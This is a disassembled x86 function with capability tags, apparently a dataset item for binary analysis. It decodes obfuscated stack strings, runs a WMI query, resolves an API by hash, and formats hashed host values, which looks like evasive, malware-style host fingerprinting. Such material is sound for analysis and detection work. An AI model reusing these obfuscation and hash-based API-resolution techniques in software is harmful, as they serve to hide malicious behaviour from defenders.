Function at 0x431e20
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Encrypt data using speck
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x446f40]
mov dword [esp + 0x3c], eax
mov dword [esp + 4], 0xfd9092d
mov dword [esp + 8], 0x3f50d85
mov dword [esp + 0xc], 0x7e301f4
mov dword [esp + 0x10], 0x1bde05f9
mov dword [esp + 0x14], 0x1fe719ee
mov dword [esp + 0x18], 0x13f71d96
mov dword [esp + 0x1c], 0x17161135
mov dword [esp + 0x20], 0
xor esi, esi
xor edx, edx
nop
nop
nop
nop
movzx ecx, byte [esp + edx + 4]
mov dword [esp + 0x40], ecx
mov eax, esi
and eax, 4
mov edi, edx
xor edi, 0x6346a742
add edi, eax
mov ebx, edi
and ebx, ecx
mov ecx, ebx
and ecx, 2
mov eax, ebx
or ebx, 2
imul ebx, ecx
xor ecx, 2
and eax, 0x7d
imul eax, ecx
sub ebx, edi
add ebx, eax
mov eax, ebx
mov ecx, dword [esp + 0x40]
xor eax, ecx
not ebx
and ebx, ecx
add ebx, ebx
sub ebx, eax
add bl, 0xb6
mov byte [esp + edx + 4], bl
inc edx
add esi, 2
cmp edx, 0x20
jne 0x431e80
lea eax, [esp + 0x4c]
lea edi, [esp + 0x70]
lea esi, [esp + 4]
push eax
push 8
push edi
push 0xd
push esi
push 0
call dword [esp + 0x54]
test eax, eax
jns 0x431efb
mov dword [esp + 0x70], 0x3a0043
mov dword [esp + 0x74], 0x5c
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push 0x43d670
push 1
push 0
push 0x43d680
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, dword [ebp + 8]
js 0x4324cc
mov dword [esp + 4], 0xff0df90e
mov dword [esp + 8], 0xe316fd0f
mov dword [esp + 0xc], 0xe721e11c
mov dword [esp + 0x10], 0xeb27e52d
mov dword [esp + 0x14], 0xef38e912
mov word [esp + 0x18], 0xedec
mov dword [esp + 0x1a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 4]
mov ecx, 0xcb9cfed5
sub ecx, eax
or ecx, edx
mov esi, 0xd5
sub esi, eax
and esi, edx
not ecx
or ecx, esi
lea edx, [ecx - 0x5ef05d3]
mov esi, edx
and esi, 1
mov edi, 0x52
sub edi, ecx
and edi, 0x76
and edx, 0x89
or edx, edi
xor edx, 0x77
lea ecx, [edx + esi*2]
mov byte [esp + eax + 4], cl
mov ecx, eax
xor ecx, 0xfffffffe
or eax, 1
and ecx, eax
add eax, ecx
cmp eax, 0x1a
jb 0x431f90
lea esi, [esp + 4]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esp + 0x48]
mov ecx, dword [edi]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x5c], eax
push eax
push edi
call dword [ecx + 0xc]
test eax, eax
lea edi, [esp + 0x70]
js 0x4324b8
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x4324ae
mov dword [esp + 4], 0x19451b45
mov dword [esp + 8], 0x6566674c
mov dword [esp + 0xc], 0
mov eax, 0x613e4e3b
mov ecx, 0xc4
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x613e4e37]
lea edx, [esi + esi]
not edx
add edx, esi
and esi, ecx
and edx, eax
or edx, esi
mov esi, edx
xor esi, 0xe6378728
and edx, 0x10848d7
add edx, edx
sub edx, esi
mov ebx, edx
xor ebx, 0xfe
or edx, 1
and ebx, edx
add ebx, edx
mov byte [esp + eax - 0x613e4e37], bl
inc eax
dec ecx
cmp eax, 0x613e4e47
jne 0x432060
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov dword [esp + 4], 0x29612b51
mov dword [esp + 8], 0x2d652f64
mov dword [esp + 0xc], 0x51265369
mov dword [esp + 0x10], 0x55785770
mov dword [esp + 0x14], 0x59105b74
mov dword [esp + 0x18], 0x5d2f5f2e
mov dword [esp + 0x1c], 0x4162432f
mov dword [esp + 0x20], 0x45294739
mov dword [esp + 0x24], 0x491f4bd6
mov dword [esp + 0x28], 0x4d2f4f1e
mov dword [esp + 0x2c], 0x713d730a
mov dword [esp + 0x30], 0x75037701
mov dword [esp + 0x34], 0x7b74
mov byte [esp + 0x38], 0
mov eax, 0x45e01937
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x45e01933]
xor ecx, eax
lea edx, [ecx + ecx]
mov esi, 2
sub esi, edx
not esi
and esi, 2
and edx, 2
sub ecx, edx
add ecx, esi
add cl, 0xed
mov byte [esp + eax - 0x45e01933], cl
inc eax
cmp eax, 0x45e0196c
jne 0x432130
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x44]
mov ecx, dword [esi]
lea edx, [esp + 0x68]
push edx
push 0
push 0x30
mov dword [esp + 0x78], eax
push eax
mov dword [esp + 0x4c], ebx
push ebx
push esi
call dword [ecx + 0x50]
test eax, eax
mov ebx, dword [ebp + 8]
js 0x432498
mov dword [esp + 0x60], 0
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
lea esi, [esp + 0x64]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x43248e
cmp eax, 1
je 0x43248e
cmp dword [esp + 0x60], 0
je 0x43248e
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x64]
mov dword [esp], eax
mov dword [esp + 4], 0x73df71a3
mov dword [esp + 8], 0x7fd77dce
mov dword [esp + 0xc], 0x7bce79d9
mov dword [esp + 0x10], 0x47fb4592
mov dword [esp + 0x14], 0x43e041f5
mov dword [esp + 0x18], 0x4ffc4de1
mov dword [esp + 0x1c], 0x4948
mov byte [esp + 0x20], 0
mov ecx, 0x11350aec
mov edx, 0x14
nop
nop
nop
movzx esi, byte [esp + edx - 0x10]
mov ebx, edx
and ebx, esi
mov eax, ebx
and eax, 2
mov edi, ebx
or ebx, 2
imul ebx, eax
xor eax, 2
and edi, 0x3d
imul edi, eax
add ebx, edi
lea edi, [ecx + ebx]
not ebx
add ebx, edx
and ebx, esi
not esi
and esi, edi
sub ebx, esi
add bl, 0x9c
mov byte [esp + edx - 0x10], bl
dec ecx
inc edx
cmp edx, 0x31
jne 0x432230
mov edx, dword [esp]
mov eax, dword [edx]
push 0
push 0
lea esi, [esp + 0x88]
push esi
push 0
lea ecx, [esp + 0x14]
push ecx
push edx
call dword [eax + 0x10]
test eax, eax
mov ebx, dword [ebp + 8]
lea edi, [esp + 0x70]
js 0x43247d
cmp word [esp + 0x80], 8
jne 0x43247d
mov esi, dword [esp + 0x88]
movzx ecx, word [esi]
test cx, cx
je 0x4322ed
lea eax, [esi + 2]
xor edi, edi
jmp 0x4322cc
inc edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4322ef
cmp cx, 0x7f
jbe 0x4322c0
movzx edx, cx
cmp edx, 0x7ff
ja 0x4322e2
add edi, 2
jmp 0x4322c1
cmp cx, 0xffff
je 0x4322c1
add edi, 3
jmp 0x4322c1
xor edi, edi
lea eax, [edi + 1]
push eax
call fcn.00408680
add esp, 4
mov ecx, edi
mov dword [esp], eax
mov edi, eax
mov dword [esp + 0x5c], ecx
test ecx, ecx
je 0x432424
movzx eax, word [esi]
mov edi, dword [esp]
test ax, ax
je 0x432424
mov ecx, dword [esp + 0x5c]
mov edi, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, ax
lea edx, [esi + 2]
cmp bx, 0x7f
ja 0x432350
lea eax, [edi + 1]
mov byte [edi], bl
jmp 0x4323d0
cmp ebx, 0x7ff
ja 0x432374
cmp ecx, 2
jb 0x432374
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [edi], al
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
lea eax, [edi + 2]
jmp 0x4323d0
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x4323ea
cmp ecx, 4
jb 0x4323ea
movzx edx, word [esi + 2]
add esi, 4
shl ebx, 0xa
lea eax, [ebx + edx]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [edi], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edi + 2], al
and dl, 0x3f
or dl, 0x80
lea eax, [edi + 4]
mov byte [edi + 3], dl
mov edx, esi
nop
nop
nop
nop
nop
nop
nop
add ecx, edi
sub ecx, eax
mov esi, edx
mov edi, eax
movzx eax, word [esi]
test ax, ax
je 0x432424
test ecx, ecx
jne 0x432330
jmp 0x432424
movzx eax, ax
cmp eax, 0xdc00
jne 0x4323f8
mov esi, edx
jmp 0x4323d8
cmp ecx, 3
jb 0x432420
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [edi], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edi + 1], al
and bl, 0x3f
or bl, 0x80
lea eax, [edi + 3]
mov byte [edi + 2], bl
jmp 0x4323d0
mov eax, edi
jmp 0x4323d0
mov byte [edi], 0
mov eax, 3
mov ecx, dword [esp + 0x5c]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x43243c
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
mov ebx, dword [ebp + 8]
lea edi, [esp + 0x70]
lea esi, [esp + 0x80]
jb 0x432459
mov eax, 3
lea eax, [eax*4 + 4]
push eax
push dword [esp + 4]
lea eax, [esp + 0x54]
push eax
call fcn.004086b0
add esp, 0xc
push dword [esp]
call fcn.00408690
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x3c]
call esi
push dword [esp + 0x6c]
call esi
lea esi, [esp + 4]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x40]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 4], 0
push 0x72a7c387
push dword [0x446f38]
call fcn.00439e30
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push edi
call eax
test eax, eax
je 0x4326b1
imul eax, dword [esp + 4], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + 0x4c], eax
push 0x10
push 9
push ebx
push eax
call fcn.00419a10
add esp, 0x10
mov ecx, eax
neg ecx
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec ecx
cmp byte [edx], 0
lea edx, [edx + 1]
jne 0x432530
mov esi, ecx
not esi
and ecx, eax
mov edx, eax
not edx
and edx, esi
mov esi, ecx
sub esi, edx
add esi, 8
je 0x432561
sub edx, ecx
add eax, edx
add eax, 0xfffffff8
push esi
push 0x30
push eax
call fcn.00408700
add esp, 0xc
lea eax, [ebx + 8]
xor ecx, ecx
cmp dword [esp + 0x50], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x4c], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x50], ecx
push 0x10
push 9
push eax
push ecx
call fcn.00419a10
add esp, 0x10
mov ecx, eax
neg ecx
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec ecx
cmp byte [edx], 0
lea edx, [edx + 1]
jne 0x4325a0
mov esi, ecx
not esi
and ecx, eax
mov edx, eax
not edx
and edx, esi
mov esi, ecx
sub esi, edx
add esi, 8
je 0x4325d1
sub edx, ecx
add eax, edx
add eax, 0xfffffff8
push esi
push 0x30
push eax
call fcn.00408700
add esp, 0xc
lea eax, [ebx + 0x10]
xor ecx, ecx
cmp dword [esp + 0x54], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x50], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x54], ecx
push 0x10
push 9
push eax
push ecx
call fcn.00419a10
add esp, 0x10
mov ecx, eax
neg ecx
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec ecx
cmp byte [edx], 0
lea edx, [edx + 1]
jne 0x432610
mov esi, ecx
not esi
and ecx, eax
mov edx, eax
not edx
and edx, esi
mov esi, ecx
sub esi, edx
add esi, 8
je 0x432641
sub edx, ecx
add eax, edx
add eax, 0xfffffff8
push esi
push 0x30
push eax
call fcn.00408700
add esp, 0xc
add ebx, 0x18
xor eax, eax
cmp dword [esp + 0x58], 0
setne al
imul eax, dword [esp + eax*4 + 0x54], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + 0x58], eax
push 0x10
push 9
push ebx
push eax
call fcn.00419a10
add esp, 0x10
mov ecx, eax
neg ecx
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec ecx
cmp byte [edx], 0
lea edx, [edx + 1]
jne 0x432680
mov esi, ecx
not esi
and ecx, eax
mov edx, eax
not edx
and edx, esi
mov esi, ecx
sub esi, edx
add esi, 8
je 0x4326b1
sub edx, ecx
add eax, edx
add eax, 0xfffffff8
push esi
push 0x30
push eax
call fcn.00408700
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret